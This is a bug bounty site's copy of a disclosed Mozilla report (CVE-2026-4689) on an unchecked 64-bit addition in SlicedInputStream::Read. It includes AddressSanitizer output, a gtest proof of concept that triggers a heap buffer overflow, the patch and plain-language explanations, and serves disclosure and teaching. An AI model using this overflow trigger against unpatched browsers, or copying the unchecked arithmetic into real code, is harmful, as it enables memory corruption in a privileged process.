Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4689

SlicedInputStream::Read uint64 Count Wrap Heap Buffer Overflow

SlicedInputStream::Read adds the start offset and length as unsigned 64-bit integers without checking for overflow, so a crafted start and length wrap the sum to zero and inflate the requested read count. A compromised content process could pass such values through IPC deserialisation and cause a heap buffer overflow write in the parent process.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 20 days
  • Paid in 27 days
  • Disclosed after 20 days

Compromised content process -> parent process via SlicedInputStreamParams in IPCBlob.

SlicedInputStream::Read (SlicedInputStream.cpp:235-236) computes mStart + mLength in uint64_t with no overflow check. With start=1, length=UINT64_MAX, the sum wraps to 0. aCount = 0 - mCurPos wraps to UINT64_MAX, truncated to UINT32_MAX as uint32_t. The inflated aCount passes to the underlying stream's Read(), which copies its full data into the caller's small buffer.

The Bug

SlicedInputStream.cpp:234-237:

C++
if (mCurPos + aCount > mStart + mLength) {       // mStart + mLength wraps to 0
  aCount = mStart + mLength - mCurPos;            // 0 - 1 = UINT64_MAX, truncated to UINT32_MAX
}

IPC deserialization at SlicedInputStream.cpp:503-506 stores attacker values with no validation:

C++
mStart = params.start();    // 1
mLength = params.length();  // UINT64_MAX
mCurPos = params.curPos();

The underlying nsStringInputStream::Read calls NS_CopySegmentToBuffer which does memcpy with the inflated count. With 256 bytes of underlying data and a 16-byte buffer, this writes 255 bytes past the allocation.

ASAN Proof

==67311==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000224a20
WRITE of size 255 at 0x602000224a20 thread T0
    #0 in __asan_memcpy
    #1 in NS_CopySegmentToBuffer
    #2 in nsStringInputStream::ReadSegments
    #3 in mozilla::SlicedInputStream::Read

0x602000224a20 is located 0 bytes after 16-byte region [0x602000224a10,0x602000224a20)
SUMMARY: AddressSanitizer: heap-buffer-overflow in NS_CopySegmentToBuffer

PoC

xpcom/tests/gtest/TestSlicedInputStreamOverflow.cpp:

C++
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "mozilla/SlicedInputStream.h"
#include "nsCOMPtr.h"
#include "nsStreamUtils.h"
#include "nsStringStream.h"

#include <climits>
#include <cstring>

using namespace mozilla;

TEST(SlicedInputStreamOverflow, CountWrapToUINT32MAX)
{
  nsCString data;
  data.SetLength(256);
  memset(data.BeginWriting(), 'A', 256);

  nsCOMPtr<nsIInputStream> base;
  NS_NewCStringInputStream(getter_AddRefs(base), data);

  // start=1, length=UINT64_MAX => mStart + mLength wraps to 0
  nsCOMPtr<nsIInputStream> stream =
      new SlicedInputStream(base.forget(), 1, UINT64_MAX);

  // ASan: heap-buffer-overflow WRITE of size 255 into 16-byte allocation
  const uint32_t kBufSize = 16;
  uint8_t* buf = new uint8_t[kBufSize];
  memset(buf, 0, kBufSize);

  uint32_t bytesRead = 0;
  nsresult rv = stream->Read(reinterpret_cast<char*>(buf), kBufSize, &bytesRead);

  EXPECT_NS_SUCCEEDED(rv);
  EXPECT_GT(bytesRead, kBufSize);

  delete[] buf;
}

TEST(SlicedInputStreamOverflow, LargeOverflowWrite)
{
  const uint32_t kDataSize = 65536;
  nsCString data;
  data.SetLength(kDataSize);
  memset(data.BeginWriting(), 'B', kDataSize);

  nsCOMPtr<nsIInputStream> base;
  NS_NewCStringInputStream(getter_AddRefs(base), data);

  nsCOMPtr<nsIInputStream> stream =
      new SlicedInputStream(base.forget(), 1, UINT64_MAX);

  const uint32_t kBufSize = 32;
  uint8_t* buf = new uint8_t[kBufSize];
  memset(buf, 0, kBufSize);

  uint32_t bytesRead = 0;
  // ASan: heap-buffer-overflow WRITE of size 65535 into 32-byte allocation
  nsresult rv = stream->Read(reinterpret_cast<char*>(buf), kBufSize, &bytesRead);

  EXPECT_NS_SUCCEEDED(rv);
  EXPECT_GT(bytesRead, kBufSize);

  delete[] buf;
}

Run: ./mach gtest "SlicedInputStreamOverflow.*"

Fix

Use CheckedUint64 for the mStart + mLength computation, matching the pattern in AdjustRange():

C++
mozilla::CheckedUint64 end = mozilla::CheckedUint64(mStart) + mLength;
if (!end.isValid()) {
  return NS_OK;
}
if (mCurPos + aCount > end.value()) {
  aCount = static_cast<uint32_t>(end.value() - mCurPos);
}

Also validate in Deserialize():

C++
mozilla::CheckedUint64 end = mozilla::CheckedUint64(params.start()) + params.length();
if (!end.isValid()) {
  return false;
}

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the end-of-slice calculation mStart + mLength is performed in uint64_t without an overflow check, and the resulting wrapped value is used to compute the read count.

Impact

A compromised content process could trigger a heap buffer overflow write in the parent process, potentially leading to memory corruption or code execution in the more privileged process.

What the attacker needed

Attacker controls IPC SlicedInputStream params; compromised content process

The fix

The calculation of mStart + mLength should use CheckedUint64 and bail out when invalid, and Deserialize should validate the same sum before storing the values.

How it was found

  1. Create a base string input stream containing 256 bytes of data.
  2. Wrap it in a SlicedInputStream with start set to 1 and length set to UINT64_MAX.
  3. Allocate a 16-byte buffer and call Read on the sliced stream.
  4. Observe under AddressSanitizer that a heap-buffer-overflow write of 255 bytes occurs past the 16-byte allocation.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A stream is a way to read data piece by piece, and this one lets you read only a slice of a larger stream by giving a start point and a length. The code adds those two numbers together to find the end of the slice, but if the numbers are huge the addition wraps around to a small value, so the size check is fooled. The program then copies far more data than the caller's buffer can hold, overwriting nearby memory.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.